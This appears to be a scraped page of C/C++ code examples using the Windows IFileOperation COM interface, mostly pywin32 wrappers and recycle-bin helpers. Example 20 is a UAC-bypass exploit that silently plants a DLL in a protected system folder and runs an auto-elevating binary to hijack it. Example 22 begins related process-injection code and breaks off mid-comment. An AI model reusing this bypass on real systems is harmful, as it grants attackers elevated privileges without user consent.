Esempio n. 1
0
// @pymethod |PyIFileOperation|CopyItems|Adds multiple copy operations to the configuration
PyObject *PyIFileOperation::CopyItems(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIUnknown>|Items||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing items to be copied
    // @pyparm <o PyIShellItem>|DestinationFolder||Folder into which they will be copied
    PyObject *obItems;
    PyObject *obDestinationFolder;
    IUnknown * pItems;
    IShellItem * pDestinationFolder;
    if ( !PyArg_ParseTuple(args, "OO:CopyItems", &obItems, &obDestinationFolder) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItems, IID_IUnknown, (void **)&pItems, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) {
        PYCOM_RELEASE(pItems);
        return NULL;
    }
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->CopyItems( pItems, pDestinationFolder );
    pItems->Release();
    pDestinationFolder->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 2
0
// @pymethod |PyIFileOperation|DeleteItem|Adds a delete operation to the configuration
PyObject *PyIFileOperation::DeleteItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|Item||Description for psiItem
    // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation
    PyObject *obItem;
    PyObject *obSink = Py_None;
    IShellItem * pItem;
    IFileOperationProgressSink * pSink;
    if (!PyArg_ParseTuple(args, "O|O:DeleteItem", &obItem, &obSink))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
        PYCOM_RELEASE(pItem);
        return NULL;
    }

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->DeleteItem(pItem, pSink);
    pItem->Release();
    if (pSink)
        pSink->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 3
0
// @pymethod |PyIFileOperation|RenameItems|Adds multiple renames to the operation sequence
PyObject *PyIFileOperation::RenameItems(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIUnknown>|pUnkItems||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing items to be renamed
    // @pyparm str|NewName||New name for all items.  Collisions handled automatically.
    PyObject *obItems;
    PyObject *obNewName;
    IUnknown * pItems;
    TmpWCHAR NewName;
    if (!PyArg_ParseTuple(args, "OO:RenameItems", &obItems, &obNewName))
        return NULL;
    if (!PyWinObject_AsWCHAR(obNewName, &NewName, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItems, IID_IUnknown, (void **)&pItems, FALSE))
        return NULL;

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->RenameItems(pItems, NewName);
    pItems->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 4
0
// @pymethod |PyIFileOperation|PerformOperations|Effects all configured file system modifications
PyObject *PyIFileOperation::PerformOperations(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->PerformOperations( );
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 5
0
// @pymethod boolean|PyIFileOperation|GetAnyOperationsAborted|Determines if any operations were terminated
PyObject *PyIFileOperation::GetAnyOperationsAborted(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    BOOL AnyOperationsAborted;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->GetAnyOperationsAborted( &AnyOperationsAborted );
    PY_INTERFACE_POSTCALL;

    if (FAILED(hr))
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    return PyBool_FromLong(AnyOperationsAborted);
}
Esempio n. 6
0
// @pymethod |PyIFileOperation|CopyItem|Adds a copy operation to the configuration
PyObject *PyIFileOperation::CopyItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|Item||Item to be copied
    // @pyparm <o PyIShellItem>|DestinationFolder||Folder into which it will be copied
    // @pyparm str|CopyName|None|New name for the copied file, use None to keep original name
    // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation
    PyObject *obItem;
    PyObject *obDestinationFolder;
    PyObject *obCopyName = Py_None;
    PyObject *obSink = Py_None;
    IShellItem * pItem;
    IShellItem * pDestinationFolder;
    TmpWCHAR CopyName;
    IFileOperationProgressSink * pSink;

    if (!PyArg_ParseTuple(args, "OO|OO:CopyItem", &obItem, &obDestinationFolder, &obCopyName, &obSink))
        return NULL;
    if (!PyWinObject_AsWCHAR(obCopyName, &CopyName, TRUE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) {
        PYCOM_RELEASE(pItem);
        return NULL;
    }
    if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
        PYCOM_RELEASE(pItem);
        PYCOM_RELEASE(pDestinationFolder);
        return NULL;
    }

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->CopyItem( pItem, pDestinationFolder, CopyName, pSink);
    pItem->Release();
    pDestinationFolder->Release();
    if (pSink)
        pSink->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 7
0
  bool MoveFileOrFolderToRecycleBin(const string_t& sFileOrFolderPath)
  {
    // Initialize COM
    cComScope com;

    // Create COM instance of IFileOperation
    IFileOperation* pfo = nullptr;
    HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
    if (SUCCEEDED(hr)) {
      ASSERT(pfo != nullptr);

      // Set parameters for current operation
      hr = pfo->SetOperationFlags(
          FOF_SILENT |    // Don't display a progress dialog
          FOF_NOERRORUI   // Don't display any error messages to the user
      );

      if (SUCCEEDED(hr)) {
        // Create IShellItem instance associated to file to delete
        IShellItem* psiFileToDelete = nullptr;
        hr = SHCreateItemFromParsingName(sFileOrFolderPath.c_str(), NULL, IID_PPV_ARGS(&psiFileToDelete));
        if (SUCCEEDED(hr)) {
          ASSERT(psiFileToDelete != nullptr);

          // Declare this shell item (file) to be deleted
          hr = pfo->DeleteItem(psiFileToDelete, NULL);
        }

        // Cleanup file-to-delete shell item
        COM_SAFE_RELEASE(psiFileToDelete);

        if (SUCCEEDED(hr)) {
          // Perform the deleting operation
          hr = pfo->PerformOperations();
        }
      }
    }

    // Cleanup file operation object
    COM_SAFE_RELEASE(pfo);

    if (!SUCCEEDED(hr)) {
      std::wcerr<<"MoveFileOrFolderToRubbishBin Error moving \""<<sFileOrFolderPath<<"\" to the recycle bin"<<std::endl;
      return false;
    }

    return true;
  }
Esempio n. 8
0
// @pymethod |PyIFileOperation|NewItem|Creates a new file as part of the operation
PyObject *PyIFileOperation::NewItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|DestinationFolder||Folder in which to create the file
    // @pyparm int|FileAttributes||Combination of win32con.FILE_ATTRIBUTE_* flags
    // @pyparm str|Name||Name of the new file
    // @pyparm str|TemplateName|None|Template file used to initialize the new file
    // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation
    PyObject *obDestinationFolder;
    PyObject *obName;
    PyObject *obTemplateName = Py_None;
    PyObject *obSink = Py_None;
    IShellItem * pDestinationFolder;
    DWORD FileAttributes;
    TmpWCHAR Name;
    TmpWCHAR TemplateName;
    IFileOperationProgressSink * pSink;

    if (!PyArg_ParseTuple(args, "OkO|OO:NewItem", &obDestinationFolder, &FileAttributes, &obName,
                          &obTemplateName, &obSink))
        return NULL;
    if (!PyWinObject_AsWCHAR(obName, &Name, FALSE))
        return NULL;
    if (!PyWinObject_AsWCHAR(obTemplateName, &TemplateName, TRUE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
        PYCOM_RELEASE(pDestinationFolder);
        return NULL;
    }

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->NewItem(pDestinationFolder, FileAttributes, Name, TemplateName, pSink);
    pDestinationFolder->Release();
    if (pSink)
        pSink->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 9
0
// @pymethod |PyIFileOperation|SetOperationFlags|Sets option flags for the operation
PyObject *PyIFileOperation::SetOperationFlags(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm int|OperationFlags||Combination of shellcon.FOF_* and FOFX_* flags
    DWORD OperationFlags;
    if ( !PyArg_ParseTuple(args, "k:SetOperationFlags", &OperationFlags) )
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->SetOperationFlags(OperationFlags);
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 10
0
// @pymethod |PyIFileOperation|Unadvise|Disconnects a progress sink
PyObject *PyIFileOperation::Unadvise(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm int|Cookie||Identifies the sink to disconnect, as returned by <om PyIFileOperation.Advise>
    DWORD dwCookie;
    if ( !PyArg_ParseTuple(args, "k:Unadvise", &dwCookie) )
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->Unadvise( dwCookie );
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 11
0
// @pymethod |PyIFileOperation|SetOwnerWindow|Sets the parent window for any UI displayed.
PyObject *PyIFileOperation::SetOwnerWindow(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyHANDLE>|Owner||Handle to parent window
    HWND Owner;
    if ( !PyArg_ParseTuple(args, "O&:SetOwnerWindow", PyWinObject_AsHANDLE, &Owner))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->SetOwnerWindow(Owner);
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 12
0
bool MoveToTrash::exec() const
{
    HRESULT result = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);

    if (!SUCCEEDED(result))
        return false;

    IFileOperation *fo = nullptr;
    result = CoCreateInstance(CLSID_FileOperation, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&fo));

    if (!SUCCEEDED(result)) {
        CoUninitialize();
        return false;
    }

    ulong flags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT;

//    if (QSysInfo::windowsVersion() >= QSysInfo::WV_WINDOWS8)
//        flags |= FOFX_RECYCLEONDELETE;

    result = fo->SetOperationFlags(flags);

    if (SUCCEEDED(result)) {
        IShellItem *iShellItem = nullptr;
        result = SHCreateItemFromParsingName(path.toStdWString().c_str(), nullptr, IID_PPV_ARGS(&iShellItem));

        if (SUCCEEDED(result)) {
            result = fo->DeleteItem(iShellItem, nullptr);
            iShellItem->Release();
        }

        if (SUCCEEDED(result))
            result = fo->PerformOperations();
    }

    fo->Release();
    CoUninitialize();

    return SUCCEEDED(result);
}
Esempio n. 13
0
// @pymethod |PyIFileOperation|SetProgressMessage|Not implemented.
PyObject *PyIFileOperation::SetProgressMessage(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm str|Message||Description for Message
    PyObject *obMessage;
    TmpWCHAR Message;
    if ( !PyArg_ParseTuple(args, "O:SetProgressMessage", &obMessage) )
        return NULL;
    if (!PyWinObject_AsWCHAR(obMessage, &Message))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->SetProgressMessage(Message);
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 14
0
// @pymethod |PyIFileOperation|SetProgressDialog|Provides an interface used to display a progress dialog
// @comm IOperationsProgressDialog is not yet supported
PyObject *PyIFileOperation::SetProgressDialog(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIOperationsProgressDialog>|popd||Progress dialog interface
    PyObject *obpopd;
    IOperationsProgressDialog * popd;
    if ( !PyArg_ParseTuple(args, "O:SetProgressDialog", &obpopd) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obpopd, IID_IOperationsProgressDialog, (void **)&popd, FALSE))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->SetProgressDialog( popd );
    popd->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 15
0
// @pymethod |PyIFileOperation|SetProperties|Specifies a set of properties to be changed.
// @comm Note that these properties will be set for *any* files created by the operation, not
// just items passed to ApplyPropertiesToItem(s).  New items created as the result of a
// rename, copy, or move must have a property handler, or the operation fails with the vague
// <nl>com_error: (-2147467259, 'Unspecified error', None, None) (E_FAIL, or 0x80004005 in hex)
// even though the given file operation was actually performed.
PyObject *PyIFileOperation::SetProperties(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIPropertyChangeArray>|proparray||Sequence of property changes to be performed (see <om propsys.PSCreatePropertyChangeArray>)
    PyObject *obpproparray;
    IPropertyChangeArray * pproparray;
    if ( !PyArg_ParseTuple(args, "O:SetProperties", &obpproparray) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obpproparray, IID_IPropertyChangeArray, (void **)&pproparray, FALSE))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->SetProperties( pproparray );
    pproparray->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 16
0
// @pymethod |PyIFileOperation|ApplyPropertiesToItem|Specifies the item that will receive property changes
PyObject *PyIFileOperation::ApplyPropertiesToItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|Item||The item to which property changes will be applied
    PyObject *obpsiItem;
    IShellItem * psiItem;
    if ( !PyArg_ParseTuple(args, "O:ApplyPropertiesToItem", &obpsiItem) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obpsiItem, IID_IShellItem, (void **)&psiItem, FALSE))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->ApplyPropertiesToItem( psiItem );
    psiItem->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 17
0
// @pymethod int|PyIFileOperation|Advise|Connects an event sink to receive updates
// @rdesc Returns a cookie to be passed to <om PyIFileOperation.Unadvise> to disconnect
PyObject *PyIFileOperation::Advise(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyGFileOperationProgressSink>|Sink||Interface that receives progress updates
    PyObject *obpfops;
    IFileOperationProgressSink * pfops;
    DWORD Cookie;
    if ( !PyArg_ParseTuple(args, "O:Advise", &obpfops) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obpfops, IID_IFileOperationProgressSink, (void **)&pfops, FALSE))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->Advise( pfops, &Cookie );
    pfops->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    return PyLong_FromUnsignedLong(Cookie);
}
Esempio n. 18
0
// @pymethod |PyIFileOperation|ApplyPropertiesToItems|Specifies multiple items that will receive property changes
PyObject *PyIFileOperation::ApplyPropertiesToItems(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIUnknown>|Items||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing the target items
    PyObject *obpunkItems;
    IUnknown * punkItems;
    if ( !PyArg_ParseTuple(args, "O:ApplyPropertiesToItems", &obpunkItems) )
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obpunkItems, IID_IUnknown, (void **)&punkItems, FALSE))
        return NULL;
    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->ApplyPropertiesToItems( punkItems );
    punkItems->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 19
0
// @pymethod |PyIFileOperation|RenameItem|Adds a rename to the operation sequence
PyObject *PyIFileOperation::RenameItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|Item||The item to be renamed
    // @pyparm str|NewName||The new name
    // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for this operation only.
    PyObject *obItem, *obNewName, *obSink = Py_None;
    IShellItem * pItem;
    TmpWCHAR NewName;
    IFileOperationProgressSink * pSink;

    if ( !PyArg_ParseTuple(args, "OO|O:RenameItem", &obItem, &obNewName, &obSink))
        return NULL;
    if (!PyWinObject_AsWCHAR(obNewName, &NewName, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
        PYCOM_RELEASE(pItem);
        return NULL;
    }

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->RenameItem(pItem, NewName, pSink);
    pItem->Release();
    if (pSink) pSink->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}
Esempio n. 20
0
	void exploit(BypassUacPaths const * const paths)
	{
		const wchar_t *szElevArgs = L"";
		const wchar_t *szEIFOMoniker = NULL;

		PVOID OldValue = NULL;

		IFileOperation *pFileOp = NULL;
		IShellItem *pSHISource = 0;
		IShellItem *pSHIDestination = 0;
		IShellItem *pSHIDelete = 0;

		BOOL bComInitialised = FALSE;

		const IID *pIID_EIFO = &__uuidof(IFileOperation);
		const IID *pIID_EIFOClass = &__uuidof(FileOperation);
		const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);

		dprintf("[BYPASSUACINJ] szElevDir          = %S", paths->szElevDir);
		dprintf("[BYPASSUACINJ] szElevDirSysWow64  = %S", paths->szElevDirSysWow64);
		dprintf("[BYPASSUACINJ] szElevDll          = %S", paths->szElevDll);
		dprintf("[BYPASSUACINJ] szElevDllFull      = %S", paths->szElevDllFull);
		dprintf("[BYPASSUACINJ] szElevExeFull      = %S", paths->szElevExeFull);
		dprintf("[BYPASSUACINJ] szDllTempPath      = %S", paths->szDllTempPath);

		do
		{
			if (CoInitialize(NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Failed to initialize COM");
				break;
			}

			bComInitialised = TRUE;

			if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
				break;
			}

			if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
				break;
			}

			if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
				break;
			}

			if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
				break;
			}

			if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
				break;
			}

			/* Copy the DLL file to the target folder*/
			if (pFileOp->PerformOperations() != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to copy elev dll");
				break;
			}

			/* Execute the target binary */
			SHELLEXECUTEINFOW shinfo;
			ZeroMemory(&shinfo, sizeof(shinfo));
			shinfo.cbSize = sizeof(shinfo);
			shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
			shinfo.lpFile = paths->szElevExeFull;
			shinfo.lpParameters = szElevArgs;
			shinfo.lpDirectory = paths->szElevDir;
			shinfo.nShow = SW_HIDE;

			Wow64DisableWow64FsRedirection(&OldValue);
			if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
			{
				WaitForSingleObject(shinfo.hProcess, 10000);
				CloseHandle(shinfo.hProcess);
			}

			if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted dll");

				// bail out this point because we don't need to keep trying to delete
				break;
			}

			SAFERELEASE(pSHIDelete);

			// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
			// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
			// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
			if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
			}
			else
			{
				dprintf("[BYPASSUACINJ] Failed to delete target DLL");
			}

		} while (0);

		SAFERELEASE(pSHIDelete);
		SAFERELEASE(pSHIDestination);
		SAFERELEASE(pSHISource);
		SAFERELEASE(pFileOp);

		if (bComInitialised)
		{
			CoUninitialize();
		}
	}
Esempio n. 21
0
bool OsShell::deleteItems(const std::vector<std::wstring>& items, bool moveToTrash, void * parentWindow)
{
	ComInitializer comInitializer;

	assert_r(parentWindow);
	std::vector<ITEMIDLIST*> idLists;
	for (auto& path: items)
	{
		__unaligned ITEMIDLIST* idl = ILCreateFromPathW(path.c_str());
		if (!idl)
		{
			for (auto& pid : idLists)
				ILFree(pid);

			qInfo() << "ILCreateFromPathW" << "failed for path" << QString::fromWCharArray(path.c_str());
			return false;
		}
		idLists.push_back(idl);
		assert_r(idLists.back());
	}

	IShellItemArray * iArray = 0;
	HRESULT result = SHCreateShellItemArrayFromIDLists((UINT)idLists.size(), (LPCITEMIDLIST*)idLists.data(), &iArray);

	// Freeing memory
	for (auto& pid: idLists)
		ILFree(pid);
	idLists.clear();

	if (!SUCCEEDED(result) || !iArray)
	{
		qInfo() << "SHCreateShellItemArrayFromIDLists failed";
		return false;
	}

	IFileOperation * iOperation = 0;
	result = CoCreateInstance(CLSID_FileOperation, 0, CLSCTX_ALL, IID_IFileOperation, (void**)&iOperation);
	if (!SUCCEEDED(result) || !iOperation)
	{
		qInfo() << "CoCreateInstance(CLSID_FileOperation, 0, CLSCTX_ALL, IID_IFileOperation, (void**)&iOperation) failed";
		return false;
	}

	result = iOperation->DeleteItems(iArray);
	if (!SUCCEEDED(result))
	{
		qInfo() << "DeleteItems failed";
	}
	else
	{
		if (moveToTrash)
		{
			result = iOperation->SetOperationFlags(FOF_ALLOWUNDO);
		}
		else
			result = iOperation->SetOperationFlags(FOF_WANTNUKEWARNING);

		if (!SUCCEEDED(result))
			qInfo() << "SetOperationFlags failed";

		result = iOperation->SetOwnerWindow((HWND) parentWindow);
		if (!SUCCEEDED(result))
			qInfo() << "SetOwnerWindow failed";

		result = iOperation->PerformOperations();
		if (!SUCCEEDED(result) && result != COPYENGINE_E_USER_CANCELLED)
		{
			qInfo() << "PerformOperations failed";
			if (result == COPYENGINE_E_REQUIRES_ELEVATION)
				qInfo() << "Elevation required";
		}
		else
			result = S_OK;
	}

	iOperation->Release();
	iArray->Release();
	return SUCCEEDED(result);
}
Esempio n. 22
0
static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter)
{
	// This is the injected code of "part 1."

	// As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants)
	// and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call
	// LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to
	// us in our InjectArgs structure.

	// The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it
	// involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline
	// or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a
	// contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs.

	// It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute
	// addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems
	// to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example,
	// I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that
	// seemed to go away when I set the Release build to generate a PDF file, but then they came back again.
	// I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit
	// builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine
	// it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered
	// this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's
	// triggering the different modes... I don't know!
	//
	// So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler
	// to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them,
	// or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent)
	// that always generates relative jumps, or whatever...
	//
	// Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like.
	//
	// PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end
